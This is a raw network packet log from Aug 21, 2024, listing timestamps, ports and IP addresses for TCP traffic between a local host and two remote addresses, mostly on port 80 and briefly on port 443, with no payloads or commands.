Aug 21, 2024 08:32:16.489049911 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489056110 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489067078 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489082098 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.489125013 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.489311934 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489317894 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489329100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489371061 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.489427090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489433050 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489449024 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489476919 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489487886 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489490986 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.489494085 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489510059 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489512920 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.489530087 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.489552021 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.489587069 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.489764929 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489769936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489784956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489828110 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.489842892 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489850044 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489864111 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489870071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489876986 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489895105 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.489924908 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.489926100 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.489986897 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489993095 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490005016 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490014076 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490024090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490044117 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.490097046 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.490156889 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490165949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490187883 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490194082 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490204096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490207911 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490212917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490216970 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.490219116 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490250111 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.490250111 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.490273952 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.490319967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490329981 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490343094 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490348101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490356922 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490364075 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490374088 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.490413904 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.490413904 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.490565062 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.490653992 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.494179010 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.494194031 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.494273901 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.494282961 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.494323969 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.508971930 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.508981943 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.508991957 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.509181023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.509186983 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.509202003 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.509207964 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.509244919 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.509244919 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.509282112 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.528202057 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.528233051 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.528240919 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.528245926 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.528250933 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.528255939 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.528295994 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.528317928 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.528325081 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.528330088 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.528337002 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.528358936 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.528363943 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.528367996 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.528373957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.528378963 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.528378963 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.528400898 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.528443098 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.528443098 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.529254913 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.529262066 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.529272079 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.529315948 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.529320955 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.529320955 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.529339075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.529350042 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.529356956 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.529367924 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.529393911 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.529516935 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.533050060 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533056021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533066988 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533072948 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533135891 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533140898 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533155918 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533157110 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.533158064 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.533163071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533169985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533176899 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533184052 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.533214092 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.533220053 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533262014 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533267021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533282995 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.533282995 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533317089 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.533343077 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.533356905 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533395052 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533399105 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533454895 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.533472061 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533478022 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533494949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533525944 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.533539057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533543110 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.533545971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533559084 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533600092 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.533668041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533673048 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533682108 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533688068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533693075 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533698082 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533713102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533731937 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.533765078 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.533818960 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533824921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533835888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533842087 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533890009 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.533890009 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.533943892 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533962011 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533967972 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.533977032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.534012079 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.534039021 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.534121990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.534141064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.534152985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.534157991 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.534168959 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.534174919 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.534179926 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.534183979 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.534187078 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.534209013 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.534229994 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.535514116 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.535522938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.535532951 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.535576105 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.535578966 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.535582066 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.535594940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.535600901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.535605907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.535626888 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.535654068 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.535684109 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.535690069 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.535701036 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.535706043 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.535717010 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.535737991 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.535742998 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.535770893 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.535800934 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.536045074 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.536057949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.536071062 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.536082983 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.536094904 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.536099911 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.536103964 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.536107063 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.536123037 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.536142111 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.536170959 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.541889906 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.541901112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.541907072 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.541934013 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.541943073 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.541949034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.541948080 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.541987896 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.541987896 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.541990995 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.542252064 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.544090986 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.544096947 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.544110060 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.544150114 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.544154882 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.544157028 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.544162035 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.544178009 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.544190884 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.544228077 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.544228077 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.544841051 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.544847012 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.544857979 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.544910908 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.544936895 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.544946909 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.544953108 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.544962883 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.544970036 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545010090 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545010090 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545011997 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545018911 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545032024 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545037985 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545059919 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545070887 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545074940 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545095921 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545113087 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545348883 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545356035 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545372963 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545384884 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545391083 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545404911 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545423985 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545423985 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545449018 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545449018 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545456886 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545480967 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545490026 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545502901 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545528889 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545567036 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545572996 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545588017 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545593023 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545605898 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545619965 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545628071 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545645952 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545645952 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545671940 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545677900 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545685053 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545696020 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545701981 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545713902 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545721054 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545732021 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545763969 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545783043 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545787096 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545809031 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545815945 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545820951 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545833111 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545850992 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545888901 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545901060 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545906067 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545948982 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545979023 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.545989037 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.545994997 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.546005964 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.546010971 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.546047926 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.546049118 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.546056032 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.546063900 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.546109915 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.546375990 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.546392918 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.546396971 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.546432972 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.546468973 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.547557116 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.547579050 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.547584057 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.547594070 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.547599077 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.547641039 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.547667980 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.547676086 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.547686100 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.547691107 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.547694921 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.547707081 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.547725916 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.547748089 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.547763109 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.547769070 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.547774076 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.547796965 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.547801971 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.547816992 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.547841072 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.547950029 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.547955990 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.547969103 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.547986984 CEST	80	49719	147.45.44.104	192.168.2.6
